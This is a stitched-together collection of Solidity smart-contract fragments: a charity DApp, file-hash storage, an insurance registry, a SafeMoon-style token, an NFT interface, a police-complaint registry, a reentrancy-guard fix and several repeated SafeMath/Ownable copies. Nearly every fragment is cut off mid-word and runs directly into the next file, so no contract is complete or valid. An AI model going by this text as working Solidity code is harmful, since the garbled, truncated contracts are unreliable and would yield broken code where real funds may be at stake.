uint24 exculibr;
uint24 loki;
uint32[] tokens;
uint16 questID;
uint24 appearance;
}
struct Pool{
string blkch;
uint8 minStCount;
uint8 maxStCount;
uint24 shipsCoeff;
uint32[] tCount;
}
mapping(uint32=>PirateStation) maplogs;
function setCode(TvmCell newcode) public onlyOwner {
tvm.setcode(newcode);
tvm.setCurrentCode(newcode);
onCodeUpgrade();
}
function onCodeUpgrade() private {
version += 1;
}
modifier onlyOwner(){
require(msg.pubkey() == tvm.pubkey(), 100);
tvm.accept();
_;
}
function genCount(uint8 _minCount,uint8 _maxCount) internal pure returns(uint8){
rnd.shuffle();
uint8 _countStation = _minCount + rnd.next(_maxCount - _minCpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Beneficiary{
string description;
uint maxContr;
address recipient;
bool complete;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
string[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
address public reciever;
uint public minContr;
CoopStore[] public CooperativeStores;
/* string[] public BeneficiaryInfo; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info pragma solidity ^0.4.16;
pragma experimental ABIEncoderV2;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
function getOwner() public constant returns (address) {
return owner;
}
}
contract FileHashStorage is Owned {
struct File {
string name;
uint uploadDate;
uint size;
}
mapping(string => File) private files;
mapping(string => string[]) private fileOwners;
string[] public owners;
uint public ownerID = 0;
/*
owners = ["Jung", "Park", ...]
fileOwners["Jung"] = ["0xABCD1234", "0xDEAD4321"] // Hashed file
files["0xABCD1234"] = {
name: "test_file.pdf",
registerDate: 17203124, // Unix timestamp
size: 154000 // Bytes
}
*/
event Upload(string personName, string fileHash, pragma solidity ^0.4.22;
contract Insurance {
struct customer {
bool isUidGenerated;
string name;
uint amountInsured;
}
mapping (address => customer) public customerMapping;
mapping (address => bool) public doctorRegistered;
address Owner;
constructor() public {
Owner = msg.sender;
}
modifier onlyOwner() {
require (Owner == msg.sender);
_;
}
function registerDoctor(address _address) public onlyOwner {
require (!doctorRegistered[_address], "Doctor already registered!");
doctorRegistered[_address] = true;
}
function generateCustomer(string _name, uint _amountInsured) public onlyOwner returns (address) {
address uniqueId = address(sha256(msg.sender, now));
require (!customerMapping[uniqueId].isUidGenerated, "Error occurred! Try again!");
customerMapping[uniqueId].isUidGenerated = true;
customerMapping[uniqueId].name = _name;
customerMapping[uniqueId].amountInsured = _amountInsured;
return uniqueId;
}
function useInsuran/**
#BEE
#LIQ+#RFI+#SHIB+#DOGE = #BEE
#SAFEMOON features:
3% fee auto add to the liquidity pool to locked forever when selling
2% fee auto distribute to all holders
I created a black hole so #Bee token will deflate itself in supply with every transaction
50% Supply is burned at start.
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend //Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function log(uint256 x) public view returns (uint256 y){
assembly {
let arg := x
x := sub(x,1)
x := or(x, div(x, 0x02))
x := or(x, div(x, 0x04))
x := or(x, div(x, 0x10))
x := or(x, div(x, 0x100))
x := or(x, div(x, 0x10000))
x := or(x, div(x, 0x100000000))
x := or(x, div(x, 0x10000000000000000))
x := or(x, div(x, 0x100000000000000000000000000000000))
x := add(x, 1)
let m := mload(0x40)
mstore(m, 0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
mspragma solidity ^0.7.0;
import "./ERC165/IERC165.sol";
import "./ERC165/ERC165.sol";
import "./utils/Address.sol";
import "./utils/EnumerableMap.sol";
import "./utils/EnumerableSet.sol";
import "./utils/SafeMath.sol";
import "./utils/Strings.sol";
import "./utils/Context.sol";
import "./utils/Ownable.sol";
import "./IERC20.sol";
import "./IMasks.sol";
import "./IERC721Enumerable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Wheneve//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.7.1;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint2//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}
pragma solidity 0.4.18;
contract gfgMathPlus
{
// Declaring the state
// variables
uint firstNo=5;
uint secondNo=2 ;
// Defining the function
// to set the value of the
// first variable
function firstNoSet(uint x) public
{
firstNo = x;
}
// Defining the function
// to set the value of the
// second variable
function secondNoSet(uint y) public
{
secondNo = y;
}
// Defining the function
// to add the two variables
function add() view public returns (uint)
{
uint Sum = firstNo + secondNo ;
// Sum of two variables
return Sum;
}
}// SPDX-License-Identifier: FIRChain
pragma solidity ^0.7.1;
contract FIRChain {
enum Roles {NoRole, PoliceStation, HeadQuarters}
enum ComplaintType {Nil, Missing, Found}
event verifyEvent(bool Status);
event findMatchEvent(uint256 fid1, uint256 fid2);
struct PoliceStationStruct {
uint256 pId;
address ethAddr;
string name;
string addr;
string state;
uint256 phno;
Roles role;
}
struct FIRStruct {
uint256 fId;
string name;
string details;
string state;
uint uniqueId;
ComplaintType ctype;
uint256 registeredDate;
uint256 closedDate;
bool findMatch;
bool status;
}
mapping(uint256 => PoliceStationStruct) Police;
mapping(uint256 => uint256) HeadQuarter;
mapping(uint256 => uint256[]) PoliceStations;
mapping(address => uint256) Registered;
mapping(uint => bool) MissingStatus;
mapping(uint => bool) FoundStatus;
mapping(u// Possible HashMasks fix
// 1. Add the following to the Masks.sol on line 17 or so (new line, do not paste in "contract {" or anywhere else.
// NOTE: I removed the comments it contained to save space.
// The source of it is here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// 2. Chan//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*